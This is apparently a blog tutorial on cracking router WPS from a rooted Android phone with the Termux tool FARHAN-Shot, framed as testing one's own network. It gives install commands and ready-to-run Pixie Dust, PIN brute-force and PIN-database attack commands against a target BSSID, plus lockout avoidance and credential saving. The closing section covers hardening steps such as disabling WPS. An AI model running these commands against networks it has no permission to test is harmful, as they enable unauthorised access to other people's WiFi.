Is Your WiFi Really Secure? Learn How to Test It with FARHAN-Shot in Termux

Test your WiFi security using FARHAN-Shot in Termux. Learn to scan, detect WPS flaws, and protect your network with simple tools and steps.

Most people set up their WiFi once and never think about it again. But if your router has WPS enabled, your network might be exposed without you even knowing it.

In this guide, I’ll show you how to test for WPS security issues using a Termux tool called FARHAN-Shot. It’s a simple way to learn how attackers might target your network—so you can fix it first.

Important: Only use this guide on networks you own or have permission to test.

Why WPS Can Be a Problem

WPS (Wi-Fi Protected Setup) makes connecting devices easier, but it also creates a weak spot. FARHAN-Shot checks if your router is vulnerable, using methods that attackers often use—like Pixie Dust and brute-force PIN attacks.

If WPS is turned on, your network could be cracked in minutes. That’s why this tool is useful for security testing.

What Is FARHAN-Shot?

FARHAN-Shot is a free script made for Termux. It helps you test your router by simulating real attacks. Here’s what it can do:

  • Run a Pixie Dust attack (quickly cracks WPS on some routers)
  • Try brute-force WPS PIN attacks
  • Use an offline PIN database to guess common PINs
  • Scan for nearby WiFi networks that have WPS enabled

It works on Android with Termux, even without monitor mode.

What You’ll Need

  • Rooted Android device
  • Termux (install it from F-Droid)
  • Internet connection (for installing tools)
  • Required packages: Python 3, Git, wpa_supplicant, pixiewps, iw
What if my phone is not rooted

If your phone isn’t rooted, consider installing Kali NetHunter as an alternative.

How to Install FARHAN-Shot

Open Termux and run these commands:

apt update && apt upgrade -y
apt install root-repo -y
apt install git tsu python wpa-supplicant pixiewps iw -y
git clone https://github.com/Gtajisan/FARHAN-Shot
cd FARHAN-Shot

After that, you’re ready to start testing.

Scan for Nearby Networks

Make sure WiFi is off and location is on. To find your network interface name:

iw dev

Most of the time, it’s wlan0. Then scan for networks:

sudo python FARHAN-Shot.py -i wlan0

Run a Pixie Dust Attack

To scan all routers and try the Pixie Dust attack:

sudo python FARHAN-Shot.py -i wlan0 -K

To test a specific router, add its BSSID:

sudo python FARHAN-Shot.py -i wlan0 -b 00:90:4C:C1:AC:21 -K

Try a WPS Brute-Force Attack

If Pixie Dust fails, try brute-force:

sudo python FARHAN-Shot.py -i wlan0 -b 00:90:4C:C1:AC:21 -B

Know part of the PIN? Add it to speed up:

sudo python FARHAN-Shot.py -i wlan0 -b 00:90:4C:C1:AC:21 -B -p 1234

Add a delay between attempts to avoid router lockouts:

sudo python FARHAN-Shot.py -i wlan0 -b 00:90:4C:C1:AC:21 -B -d 5

Use the Offline WPS PIN Generator

To try known PINs from the 3WiFi database:

sudo python FARHAN-Shot.py -i wlan0 --3wifi

Common Errors and Fixes

  • RTNETLINK answers: Operation not possible due to RF-kill
    Run rfkill unblock all or restart WiFi
  • Device or resource busy (-16)
    Restart your WiFi
  • No interface found
    Your device may not support it. Try using Kali NetHunter.

You can learn more about NetHunter in this guide.

Extra Commands You Can Use

  • Save credentials: -w
  • Print full Pixiewps command: -X
  • Loop script for continuous testing: -l

Protecting Your WiFi

After testing, make sure to secure your network:

  • Turn off WPS in router settings
  • Use WPA2 or WPA3 encryption
  • Change your WiFi password
  • Update your router’s firmware

Final Thoughts

Testing your own WiFi teaches you a lot. FARHAN-Shot is simple but powerful. Just use it the right way. Don’t test networks that aren’t yours.

If you’re learning ethical hacking or just want to secure your home setup, this is a great tool to start with. Have questions? Leave a comment and I’ll help you out.

Stay safe and keep learning.
